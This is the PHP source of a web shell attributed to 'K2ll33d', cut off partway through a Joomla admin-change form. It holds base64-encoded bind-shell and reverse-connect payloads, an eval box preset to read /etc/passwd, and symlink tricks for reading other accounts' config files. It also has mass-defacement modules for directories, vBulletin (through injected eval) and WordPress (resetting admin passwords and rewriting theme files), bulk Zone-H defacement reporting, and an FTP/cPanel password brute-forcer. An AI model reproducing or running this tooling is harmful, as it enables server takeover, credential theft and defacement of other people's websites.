$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
?><html><head><link href='data:image/x-icon;<?php echo $tunisia;?>' rel='icon' type='image/x-icon' /><title>:: k2ll33d ::</title>
<link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
<script type="text/javascript">
function tukar(lama,baru){document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';}
</script><link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'><style>
.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #4C83AF; padding:4px 2px;width:70%;line-height:24px;}.myboxtbl{ width:50%; }body{background:#010101;} a {text-decoration:none;} hr, a:hover{border-bottom:1px solid #4C83AF;} *{text-shadow: 0pt 0pt 0.3em rgb(153, 153, 153);font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF;} .tabnet{margin:15px auto 0 auto;border: 1px solid #333333;} .main {width:100%;} .gaya {color: #888888;} .top{border-LEFT:1px solid #ffffff;border-RIGHT:1px solid #ffffff;font-family:verdana;}input{background:#111111;border:1;padding:2px;border-bottom:1px solid #222222;border-top:1px solid #222222;font-size:12px;vertical-align:middle;height:20;border-left:1px solid #5d5d5d;border-right:1px solid #121212;border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;color:#9f9f9f;}  .inputz{  background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;} .inputzbut{background:#111111;color:#8f8f8f;margin:0 4px;border:1px solid #444444;}  .inputzbut:hover{border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.inputz:hover{ -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.output2 {margin:auto;border:1px solid #888888;background:#000000;padding:0 2px;} textarea{margin:auto;border:2px solid #555555;background:#000000;padding:0 2px;} .output {margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000000;padding:0 2px;} .cmdbox{width:100%;}.head_info{padding: 0 4px;} .b1{font-size:30px;padding:0;color:#555555;} .b2{font-size:30px;padding:0;color:#800000;} .b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333333;} .phpinfo table{width:100%;padding:0 0 0 0;} .phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;} .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;} .explore{width:100%;} .explore a {text-decoration:none;} .explore td{border-bottom:1px solid #333333;padding:0 8px;line-height:24px;color:#999999;} .explore th{padding:3px 8px;font-weight:normal;color:#999999;} .explore th:hover , .phpinfo th:hover{border-bottom:1px solid red;} .explore tr:hover{background:#333333;} .viewfile{background:#EDECEB;color:#000000;margin:4px 2px;padding:8px;} .sembunyi{display:none;padding:0;margin:0;} #menu{font-family:orbitron;background: #111111;margin:5px 2px 4px 2px;} #menu a{text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;font-family:orbitron;padding:4px 6px;margin:0;background:#666666;text-decoration:none;letter-spacing:1px;color:#ffffff;} #menu a:hover{font-family:orbitron;background:#191919;border-bottom:1px solid #444444;border-top:1px solid #444444;color:#cecece;}k, k a, k a:hover{text-shadow: 0pt 0pt 0.3em red;font-family:orbitron;font-size:25px;color:#ffffff;}</style><body onLoad="document.getElementById('cmd').focus();"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl">
<?php echo (base64_decode('PGgxPjxhPmsgMiBsIGwgMyAzIGQmbmJzcDsmbmJzcDtTIGggZSBsIGw8L2E+PC9oMT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs='));?><div id="menu"><a href="?<?php echo "y=".$pwd;?>&amp;x=about">About Me</a></div>
</td></tr></table></td><td class="top" width='60%'><?php echo $buff;?></td>&nbsp;&nbsp;<td style="width:30%;"><a>server ip :<?php echo $server_ip."<font color='red'><br><br></font> your ip : ".$my_ip."<br></a>";?><br><div id="menu"><a href="?">Home</a></div></td></tr></table></div>
<div id="menu"><a href="?<?php echo "y=".$pwd;?>">Files</a><a href="?<?php echo "y=".$pwd;?>&amp;x=shell">Shell</a><a href="?<?php echo "y=".$pwd;?>&amp;x=upload">upload</a><a href="?<?php echo "y=".$pwd;?>&amp;x=php">Eval</a><a href="?<?php echo "y=".$pwd;?>&amp;x=sym">Sym</a><a href="?<?php echo "y=".$pwd;?>&amp;x=netsploit">Tools</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mysql">Sql</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mass">Mass</a><a href="?<?php echo "y=".$pwd;?>&amp;x=brute">Brute</a><a href="?<?php echo "y=".$pwd;?>&amp;x=phpinfo">phpinfo</a><a href="?<?php echo "y=".$pwd;?>&amp;x=zone-h">Zone-H</a><a href="?<?php echo "y=".$pwd;?>&amp;x=joomla">Joomla</a><a href="?<?php echo "y=".$pwd;?>&amp;x=wordpress">Wordpress</a><a href="?<?php echo "y=".$pwd;?>&amp;x=vb">Vb</a><a href="?<?php echo "y=".$pwd;?>&amp;x=domains">Domains</a><a href="?<?php echo "y=".$pwd;?>&amp;x=string">String</a><a href="?<?php echo "y=".$pwd;?>&amp;x=wm">Wp Mass</a></div>
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){?><form action="?y=<?php echo $pwd;?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90> 
<?php if(isset($_POST['submitcmd'])) {echo eval(magicboom($_POST['cmd']));}else echo "echo file_get_contents('/etc/passwd');";?></textarea></td></tr><tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){echo '<center><img class="HoverBorder" alt="" src="data:image/jpeg;'.$tunisia.'" /></center><br><center><k>Web Shell By K2ll33d<br><br><br>Mail:&nbsp;<a href=mailto:k2ll33d@live.fr>k2ll33d [at] live.fr</a><br><br><a href="https://facebook.com/k2ll33d" target="_blank">Facebook</a>&nbsp;<a href="http://zone-h.org/archive/notifier=ReZK2LL" target="_blank">Zone-H</a></k></center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'sym')){@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);$htaccess  = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$op =@fopen ('sym/.htaccess','w');fwrite($op ,$htaccess);echo '<center><br><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></center>';$target = $_POST['file'];$symfile = $_POST['symfile'];$symlink = $_POST['symlink'];if ($symlink) {@symlink("$target","sym/$symfile");echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><center>';}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass')){error_reporting(0);?><table><td width="50%"><form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method=post><p align="center"><h2>Folder</h2><input class ='inputz' typ=text name=path size=60 value="<?php echo getcwd();?>"><br><h2>file name</h2><input class ='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Index code </h3><textarea class ='inputz' name=index rows=10 cols=40>hacked By ReZK2LL Team</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br><?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb')) {if(empty($_POST['index'])){echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By ReZK2LL Team</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$perfix = $_POST['perfix'];$index = $_POST['index'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$index=str_replace("\'","'",$index);$set_index  = "{\${eval(base64_decode(\'";$set_index .= base64_encode("echo '$index';");$set_index .= "\'))}}{\${exit()}}</textarea>";$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error());if($ok){echo "Defaced<br><br>";}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wm')){ini_set("display_errors", "0");set_time_limit(0);@session_start();$base_path = dirname(__FILE__).'/';function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix  = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br>";}if($req1) {$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Successful Login<br>";} else {$output.= "[+] Successful Login<br>";}$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php Opened<br>";}else {$output.= "[-] index.php Unable to open<br>";}$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');$cond = 0;if($pos === false){$output.= "[-] index.php Failed<br>";} else {$output.= "[+] index.php Failed+<br>";$cond = 1;}} else {$output.= "[-] DB Error<br>";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function exec_mode_1($def_url) {@mkdir('sym',0777);$wr  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total Websites: $numero_dominios <br><br>";$def = file_get_contents($def_url);$def = urlencode($def);$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st;$i <= $numero_dominios;$i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']){echo '<td align="center"><span class="green">HACKED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">unsuccessful</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Deface = '.($_SESSION['count1']+$_SESSION['count2']).'<br>';echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';}echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById(\'rcd\').checked == true) {document.getElementById(\'tra\').style.display = \'\';} else {document.getElementById(\'tra\').style.display = \'none\';} }function hide() {document.getElementById(\'tra\').style.display = \'none\';}</script></head><body><div class="footer"><a href="https://facebook.com/k2ll33d" target="_blank"><h3 style="text-align: center;">'.base64_decode('azJsbDMzZA==').'</h3></a></div><div>';if(!isset($_POST['form_action'])){echo '<div align="center"><center><img class="HoverBorder" alt="" src="data:image/jpeg;'.$tunisia.'" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';}echo '<div align="center">';if($_POST['form_action'] == 1) {exec_mode_1($_POST['indexadresi']);}echo '</div></div></body></html>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){$defacer='ReZK2LL';$display_details=0;$method=14;$reason=5;
error_reporting(0);set_time_limit(0);if(!function_exists('curl_init')){echo "CURL ERROR\n";exit;}$cli=(isset($argv[0]))?1:0;if($cli==1){$file=$argv[1];$sites=file($file);if(!file_exists($file)){echo "<br><br><center><h1>error !</h1></center>\n";exit;}}else{if(function_exists(apache_setenv)){@apache_setenv('no-gzip', 1);}@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);@ob_implicit_flush(true);@ob_end_flush();if(isset($_POST['domains'])){$sites=explode("\n",$_POST['domains']);}if (file_exists($_FILES["file"]["tmp_name"])){$file=$_FILES["file"]["tmp_name"];$sites=file($file);}
echo <<<EOF
<div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
EOF;
if(!isset($_POST['defacer'])){
echo <<<EOF
<form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='    Send    ' name='submit'></p></td></tr></table></form>
EOF;
}
$defacer=$_POST['defacer'];}if(!$sites){echo '</pre>';exit;}$sites=array_unique(str_replace('http://','',$sites));$total=count($sites);echo "[+] Total unique domain: $total\n\n";$pause=10;$start=time();$main=curl_multi_init();for($m=0;$m<3;$m++){$http[] = curl_init();}for($n=0;$n<$total;$n +=30){if($display_details==1){for($x=0;$x<30;$x++){echo'[+] Adding '.rtrim($sites[$n+$x]).'';echo "\n";}}$d=$n+30;if($d>$total){$d=$total;}echo "=====================>[$d/$total]\n";for($w=0;$w<3;$w++){$p=$w * 10;
if(!(isset($sites[$n+$p]))){$pause=$w;break;}$posts[$w]="defacer=$defacer&domain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=".$method."&reason=".$reason."&submit=Send";$curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array("Keep-Alive: 7"),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => 'http://www.zone-h.com/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);
curl_setopt_array($http[$w],$curlopt);curl_multi_add_handle($main,$http[$w]);}$running = null;
do{curl_multi_exec($main,$running);}while($running > 0);
for($m=0;$m<3;$m++){if($pause==$m){break;}
curl_multi_remove_handle($main, $http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if ($code != 200) {while(true){echo' [-]Error!....Retrying';echo "\n";
sleep(5);curl_exec($http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if( $code== 200){break 1;}}}}}$end= time() - $start;
echo 'Done';echo "\n\n[*]Time: $end seconds\n";curl_multi_close($main);if($cli==0){echo '</pre></body></html>';}exit;}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute')){$connect_timeout=5;
set_time_limit(0);$submit=$_REQUEST['submit'];$users=$_REQUEST['users'];$pass=$_REQUEST['passwords'];$target=$_REQUEST['target'];$cracktype=$_REQUEST['cracktype'];
if($target == ""){$target = "localhost";}?><div align="center"><form method="POST" style="border: 1px solid #000000"><br><?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "ftp://$host");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}
elseif ( curl_errno($ch) == 0 ){print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}
function cpanel_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "http://$host:2082");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}
elseif ( curl_errno($ch) == 0 ){
print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}if(isset($submit) && !empty($submit)){
if(empty($users) && empty($pass)){print "<p><b>Error : Check The Users and Password List</b></p>";exit;}
if(empty($users)){print "<p><b>Error :Check The Users List</b></p>";exit;}if(empty($pass) ){print "<p><b>Error :Check The Password List</b></p>";exit;};
$userlist=explode("\n",$users);$passlist=explode("\n",$pass);print "<b>[~] Wait ...</b><br><br>";foreach ($userlist as $user) {$pureuser = trim($user);foreach ($passlist as $password ) {$purepass = trim($password);if($cracktype == "ftp"){ftp_check($target,$pureuser,$purepass,$connect_timeout);}if ($cracktype == "cpanel"){cpanel_check($target,$pureuser,$purepass,$connect_timeout);}}}}                                
echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
system('ls /var/mail');
echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n1478963\npassword\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";die();}
elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')){if(empty($_POST['pwd'])){echo "<br><br><br><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' 